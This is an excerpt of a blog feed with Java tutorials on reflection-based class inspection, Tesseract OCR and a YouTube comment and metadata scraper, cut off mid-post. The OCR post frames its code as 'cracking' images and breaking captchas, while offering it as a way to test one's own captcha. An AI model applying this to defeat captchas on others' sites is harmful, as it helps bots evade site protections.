&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;Obtaining the variables from the class file:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public void printFields(Class c)  
      {  System.out.println(&quot;Variables of this class&quot;);
           Field fieldlist[]   
             = c.getDeclaredFields();  
            for (int i   
             = 0; i &amp;lt; fieldlist.length; i++) {  
              Field fld = fieldlist[i];  
              System.out.println(&quot;Variable name: &quot; + fld.getName());  
              System.out.println(&quot;Declaring class: &quot; +fld.getDeclaringClass());  
              System.out.println(&quot;Variable type: &quot; + fld.getType());  
              int mod = fld.getModifiers();  
              System.out.println(&quot;Modifiers = &quot; +Modifier.toString(mod));  
              System.out.println(&quot;--------------------------------&quot;);  
            }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;Output:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Variables of this class  
 Variable name: counter  
 Declaring class: class com.cooltrickshome.completed.RunExternalProgram  
 Variable type: int  
 Modifiers = private  
 --------------------------------------------------  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;How it works:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
1)&amp;nbsp;getDeclaredFields is used to retrieve the variables from the class passed in argument&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
2) We iterate through each variable in a for loop&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
3) getName is used to print the variable&amp;nbsp;name&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
4) getDeclaringClass is used to print the declaring class&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
5)&amp;nbsp;getParameterTypes is used to retrieve the variable type used by this variable&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
7)&amp;nbsp;getModifiers() retrieve the modifier of this variable.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;b&gt;Full Program : &lt;/b&gt;(Available from git location)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;RunExternalProgram.class:&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;Placed at &amp;lt;current project directory&amp;gt;&lt;/i&gt;/cooltrickshome/completed/RunExternalProgram.class&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;ReflectionReadApi.java:&lt;/i&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.io.File;  
 import java.lang.reflect.Constructor;  
 import java.lang.reflect.Field;  
 import java.lang.reflect.Method;  
 import java.lang.reflect.Modifier;  
 import java.net.MalformedURLException;  
 import java.net.URL;  
 import java.net.URLClassLoader;  
 public class ReflectionReadApi {  
      /**  
       * @param args  
       * @throws ClassNotFoundException  
       */  
      public static void main(String[] args) {  
           ClassLoader cl;  
           Class c;  
           try {  
                File file = new File(&quot;.&quot;);  
                URL url = file.toURL();  
                URL[] urls = new URL[] { url };  
                cl = new URLClassLoader(urls);  
                c = cl.loadClass(&quot;com.cooltrickshome.completed.RunExternalProgram&quot;);  
                System.out.println(&quot;\nName of class is &quot; + c.getName());  
                ReflectionReadApi ra = new ReflectionReadApi();  
                ra.printMethods(c);  
                ra.printConstructor(c);  
                ra.printFields(c);  
           } catch (ClassNotFoundException e) {  
                System.out.println(&quot;Requested class was not found &quot;  
                          + e.getMessage());  
           } catch (MalformedURLException e) {  
                System.out.println(&quot;Given class file url was not found &quot;  
                          + e.getMessage());  
           }  
      }  
      public void printMethods(Class c) {  
           // Getting all the methods  
           System.out.println(&quot;\nMethods of this class&quot;);  
           Method methlist[] = c.getDeclaredMethods();  
           for (int i = 0; i &amp;lt; methlist.length; i++) {  
                Method m = methlist[i];  
                System.out.println(m.toString());  
                System.out.println(&quot;Method Name: &quot; + m.getName());  
                System.out.println(&quot;Declaring Class: &quot; + m.getDeclaringClass());  
                Class param[] = m.getParameterTypes();  
                for (int j = 0; j &amp;lt; param.length; j++)  
                     System.out.println(&quot;Param #&quot; + j + &quot;: &quot; + param[j]);  
                Class exec[] = m.getExceptionTypes();  
                for (int j = 0; j &amp;lt; exec.length; j++)  
                     System.out.println(&quot;Exception thrown by method #&quot; + j + &quot;: &quot;  
                               + exec[j]);  
                System.out.println(&quot;Method Return type: &quot; + m.getReturnType());  
                System.out  
                          .println(&quot;--------------------------------------------------\n&quot;);  
           }  
      }  
      public void printConstructor(Class c) {  
           // Getting all the constructor  
           System.out.println(&quot;Constructor of this class&quot;);  
           Constructor[] constlist = c.getDeclaredConstructors();  
           for (int i = 0; i &amp;lt; constlist.length; i++) {  
                Constructor m = constlist[i];  
                System.out.println(m.toString());  
                System.out.println(&quot;Method Name: &quot; + m.getName());  
                System.out.println(&quot;Declaring Class: &quot; + m.getDeclaringClass());  
                Class param[] = m.getParameterTypes();  
                for (int j = 0; j &amp;lt; param.length; j++)  
                     System.out.println(&quot;Param #&quot; + j + &quot;: &quot; + param[j]);  
                Class exec[] = m.getExceptionTypes();  
                for (int j = 0; j &amp;lt; exec.length; j++)  
                     System.out.println(&quot;Exception thrown by method #&quot; + j + &quot;: &quot;  
                               + exec[j]);  
                System.out  
                          .println(&quot;--------------------------------------------------\n&quot;);  
           }  
      }  
      public void printFields(Class c)  
      {  
           System.out.println(&quot;Variables of this class&quot;);  
           Field fieldlist[]   
             = c.getDeclaredFields();  
            for (int i   
             = 0; i &amp;lt; fieldlist.length; i++) {  
              Field fld = fieldlist[i];  
              System.out.println(&quot;Variable name: &quot; + fld.getName());  
              System.out.println(&quot;Declaring class: &quot; +fld.getDeclaringClass());  
              System.out.println(&quot;Variable type: &quot; + fld.getType());  
              int mod = fld.getModifiers();  
              System.out.println(&quot;Modifiers = &quot; +Modifier.toString(mod));  
              System.out.println(&quot;--------------------------------------------------\n&quot;);  
            }  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Name of class is com.cooltrickshome.completed.RunExternalProgram  
 Methods of this class  
 public static void com.cooltrickshome.completed.RunExternalProgram.main(java.lang.String[]) throws java.lang.InterruptedException,java.io.IOException  
 Method Name: main  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: class [Ljava.lang.String;  
 Exception thrown by method #0: class java.lang.InterruptedException  
 Exception thrown by method #1: class java.io.IOException  
 Method Return type: void  
 --------------------------------------------------  
 public void com.cooltrickshome.completed.RunExternalProgram.runProgram(java.lang.String[]) throws java.lang.InterruptedException,java.io.IOException  
 Method Name: runProgram  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: class [Ljava.lang.String;  
 Exception thrown by method #0: class java.lang.InterruptedException  
 Exception thrown by method #1: class java.io.IOException  
 Method Return type: void  
 --------------------------------------------------  
 public int com.cooltrickshome.completed.RunExternalProgram.getCounter(int)  
 Method Name: getCounter  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: int  
 Method Return type: int  
 --------------------------------------------------  
 public void com.cooltrickshome.completed.RunExternalProgram.incrementCounter(int)  
 Method Name: incrementCounter  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: int  
 Method Return type: void  
 --------------------------------------------------  
 Constructor of this class  
 public com.cooltrickshome.completed.RunExternalProgram()  
 Method Name: com.cooltrickshome.completed.RunExternalProgram  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 --------------------------------------------------  
 public com.cooltrickshome.completed.RunExternalProgram(int)  
 Method Name: com.cooltrickshome.completed.RunExternalProgram  
 Declaring Class: class com.cooltrickshome.completed.RunExternalProgram  
 Param #0: int  
 --------------------------------------------------  
 Variables of this class  
 Variable name: counter  
 Declaring class: class com.cooltrickshome.completed.RunExternalProgram  
 Variable type: int  
 Modifiers = private  
 --------------------------------------------------  
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/02/java-reflection-reading-unknown-class.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinqW2DHkRB99sMPe63kXlNO6buNcIW-t-pyZ_WzwRJJeCblHiParl-oiXrk4FJaskokLac58AFLB-GDwCL9DnjatW9oZ8IkIJUjf2Anxoptv7eulC_8M4q3KG0Oi7pT5xoRga7djkGscaB/s72-c/Output.PNG" height="72" width="72"/><thr:total>0</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-3314912608540031933</guid><pubDate>Sat, 18 Feb 2017 04:29:00 +0000</pubDate><atom:updated>2017-02-17T20:29:43.711-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">captcha</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">ocr</category><category domain="http://www.blogger.com/atom/ns#">read</category><category domain="http://www.blogger.com/atom/ns#">readimage</category><category domain="http://www.blogger.com/atom/ns#">tess</category><category domain="http://www.blogger.com/atom/ns#">tessaract</category><category domain="http://www.blogger.com/atom/ns#">tessdata</category><title>Reading text from Images using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This post will help read texts from your images. It makes use of tessaract library.&lt;br /&gt;
You can also use the below module to check if the captcha on your site is strong enough and cannot be broken simply.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/tesseract-ocr/tessdata&quot;&gt;https://github.com/tesseract-ocr/tessdata&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/18095708/tess4j-doesnt-use-its-tessdata-folder&quot;&gt;http://stackoverflow.com/questions/18095708/tess4j-doesnt-use-its-tessdata-folder&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ReadFromImages&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ReadFromImages&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;POM Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;!-- https://mvnrepository.com/artifact/net.sourceforge.tess4j/tess4j --&amp;gt;  
 &amp;lt;dependency&amp;gt;  
   &amp;lt;groupId&amp;gt;net.sourceforge.tess4j&amp;lt;/groupId&amp;gt;  
   &amp;lt;artifactId&amp;gt;tess4j&amp;lt;/artifactId&amp;gt;  
   &amp;lt;version&amp;gt;3.2.1&amp;lt;/version&amp;gt;  
 &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Pre-requisite:&lt;/b&gt;&lt;br /&gt;
1) Assume you are running this program from c:\myprogram. Now you can follow either of 2 methods based on your requirements.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;Space saving method: (You only download the language data which you need. Only require 30MB for a english dataset)&lt;/i&gt;&lt;br /&gt;
2) Create a folder named tessdata inside c:\myprogram\&lt;br /&gt;
3) Navigate to https://github.com/tesseract-ocr/tessdata&lt;br /&gt;
4) Download eng.traineddata for breaking captcha with english language (trained data are available for other languages as well)&lt;br /&gt;
5) Place the eng.traineddata inside tessdata folder.&lt;br /&gt;
6) Finally your folder structure should look like c:\myprogram\tessdata\eng.traineddata&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Time saving method: (Download trained data from several languages and atleast cosumes 1GB space)&lt;/i&gt;&lt;br /&gt;
7) You can also skip Step 2 to Step 5 and simply download the tessdata-master folder from https://github.com/tesseract-ocr/tessdata&lt;br /&gt;
8) Unzip the content of tessdata-master.zip file in your main project folder (for eg here it is c:\myprogram\)&lt;br /&gt;
9) Rename tessdata-master to tessdata&lt;br /&gt;
10) Finally your folder structure should look like c:\myprogram\tessdata\&amp;lt;Trained data from several language&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;ImageCracker class, crackImage method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public static String crackImage(String filePath) {  
     File imageFile = new File(filePath);  
     ITesseract instance = new Tesseract();  
     try {  
       String result = instance.doOCR(imageFile);  
       return result;  
     } catch (TesseractException e) {  
       System.err.println(e.getMessage());  
       return &quot;Error while reading image&quot;;  
     }  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) crackImage takes the image which need to be read&lt;br /&gt;
2) We point a file object to that image&lt;br /&gt;
3) We make a Tessaract object named instance&lt;br /&gt;
4) We call the predefined method doOCR of Tessaract library passing the file object from step2&lt;br /&gt;
5) the doOCR method returns the text read from the image and returns the same.&lt;br /&gt;
6) In case of failure it prints the error message and returns a error string.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Driver class, main method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           System.out.println(ImageCracker.crackImage(&quot;testImage.PNG&quot;));  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We call the crackImage method passing the image to be read from.&lt;br /&gt;
2) We print the text read from the method on the console.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Input Image (testImage.PNG):&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHfeQKScx-loDOXa_qADjIFH8htkayEgSeMbniaEtDlAZmQJMlbGXB2FQiPNowHpyvptmgkwBDXnCaW7QmX-WCs2y3FhIRWBaz3a20oEp7p_QMCcN_wM7iLhK3B7vLrPBicLJMZ_l_wea2/s1600/testImage.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;29&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHfeQKScx-loDOXa_qADjIFH8htkayEgSeMbniaEtDlAZmQJMlbGXB2FQiPNowHpyvptmgkwBDXnCaW7QmX-WCs2y3FhIRWBaz3a20oEp7p_QMCcN_wM7iLhK3B7vLrPBicLJMZ_l_wea2/s320/testImage.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
Create a Youtube metadata crawler using Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;ImageCracker class&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.io.File;  
 import net.sourceforge.tess4j.*;  
 public class ImageCracker {  
   public static String crackImage(String filePath) {  
     File imageFile = new File(filePath);  
     ITesseract instance = new Tesseract();   
     try {  
       String result = instance.doOCR(imageFile);  
       return result;  
     } catch (TesseractException e) {  
       System.err.println(e.getMessage());  
       return &quot;Error while reading image&quot;;  
     }  
   }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;Driver class:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 public class Driver {  
      /**  
       * @param args  
       */  
      public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           System.out.println(ImageCracker.crackImage(&quot;testImage.PNG&quot;));  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;
&lt;span style=&quot;background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px;&quot;&gt;Hope it helps :)&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/02/reading-text-from-images-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHfeQKScx-loDOXa_qADjIFH8htkayEgSeMbniaEtDlAZmQJMlbGXB2FQiPNowHpyvptmgkwBDXnCaW7QmX-WCs2y3FhIRWBaz3a20oEp7p_QMCcN_wM7iLhK3B7vLrPBicLJMZ_l_wea2/s72-c/testImage.PNG" height="72" width="72"/><thr:total>8</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-7782968521780878930</guid><pubDate>Wed, 28 Dec 2016 16:35:00 +0000</pubDate><atom:updated>2019-07-18T02:36:11.040-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">crawler</category><category domain="http://www.blogger.com/atom/ns#">data</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">jsoup</category><category domain="http://www.blogger.com/atom/ns#">metadata</category><category domain="http://www.blogger.com/atom/ns#">spider</category><category domain="http://www.blogger.com/atom/ns#">youtube</category><title>Create a Youtube metadata crawler using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This blog post will extract metadata information from youtube using Java. It makes use of JSoup library.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Youtube Video Metadata Crawled:&lt;/b&gt;&lt;br /&gt;
1) Comments&lt;br /&gt;
2) Likes/Dislikes&lt;br /&gt;
3) Number of user subscribed&lt;br /&gt;
4) Video Title&lt;br /&gt;
5) Number of views for video&lt;br /&gt;
6) Video Description&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;POM Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  &amp;lt;dependency&amp;gt;  
       &amp;lt;groupId&amp;gt;org.jsoup&amp;lt;/groupId&amp;gt;  
       &amp;lt;artifactId&amp;gt;jsoup&amp;lt;/artifactId&amp;gt;  
       &amp;lt;version&amp;gt;1.8.3&amp;lt;/version&amp;gt;  
  &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/YoutubeMetadataExtractor&quot;&gt;https://github.com/csanuragjain/extra/tree/master/YoutubeMetadataExtractor&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;main Method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           String link=&quot;&quot;;  
           Scanner s=new Scanner(System.in);  
           // TODO Auto-generated method stub  
           try {  
                System.out.println(&quot;Enter the youtube video for which metadata need to be extracted&quot;);  
                link=s.nextLine();  
                Document doc = Jsoup.connect(link).ignoreContentType(true).timeout(5000).get();  
                YoutubeMetadataCrawler ymc=new YoutubeMetadataCrawler();  
                String title=ymc.getTitle(doc);  
                String desc=ymc.getDesc(doc);  
                String views=ymc.getViews(doc);  
                String subscribed=ymc.getPeopleSubscribed(doc);  
                int liked=ymc.getPeopleLiked(doc);  
                int disliked=ymc.getPeopleDisliked(doc);  
                String vid=ymc.getVideoId(link);  
                List&amp;lt;String&amp;gt; comments=ymc.getCommentsDesc(link,vid);  
                System.out.println(title);  
                System.out.println(desc);  
                System.out.println(&quot;Video Views: \n&quot;+views);  
                System.out.println(&quot;People subscribed: \n&quot;+subscribed);  
                System.out.println(&quot;People who liked the video: \n&quot;+liked);  
                System.out.println(&quot;People who disliked the video: \n&quot;+disliked);  
                System.out.println(&quot;Top Comments: &quot;);  
                int i=0;  
                for(String comment:comments)  
                {  
                     System.out.println(++i+&quot;) &quot;+comment);  
                }  
           } catch (IOException e) {  
                System.out.println(&quot;JSoup is unable to connect to the website&quot;);  
           }  
           finally  
           {  
                s.close();  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We use the scanner object to obtain the youtube video url from user&lt;br /&gt;
2) We use JSOUP to connect to youtube video&lt;br /&gt;
3) We call the several modules for obtaining title, comments, title, description, likes etc and print the same to user.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;removeUTFCharacters method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static String removeUTFCharacters(String data){  
           Pattern p = Pattern.compile(&quot;\\\\u(\\p{XDigit}{4})&quot;);  
           Matcher m = p.matcher(data);  
           StringBuffer buf = new StringBuffer(data.length());  
           while (m.find()) {  
           String ch = String.valueOf((char) Integer.parseInt(m.group(1), 16));  
           m.appendReplacement(buf, Matcher.quoteReplacement(ch));  
           }  
           m.appendTail(buf);  
           return new String(buf);  
           }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This module removes the UTF characters.&lt;br /&gt;
2) It tries to find if any unicode character is present in the string passed.&lt;br /&gt;
3) If it finds any unicode character then it will replace it will its corresponding string&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;getCommentToken method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public String getCommentToken(Response res)  
      {  
           String pageSource=res.body();  
           String commentToken=pageSource=pageSource.substring(pageSource.indexOf(&quot;COMMENTS_TOKEN&#39;: \&quot;&quot;)+18);  
           commentToken=commentToken.substring(0,commentToken.indexOf(&quot;\&quot;&quot;));  
           commentToken=commentToken.replaceAll(&quot;%&quot;, &quot;%25&quot;);  
           return commentToken;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) If you open any youtube video, you will find below token in page source which is used by youtube for extracting comments.&lt;br /&gt;
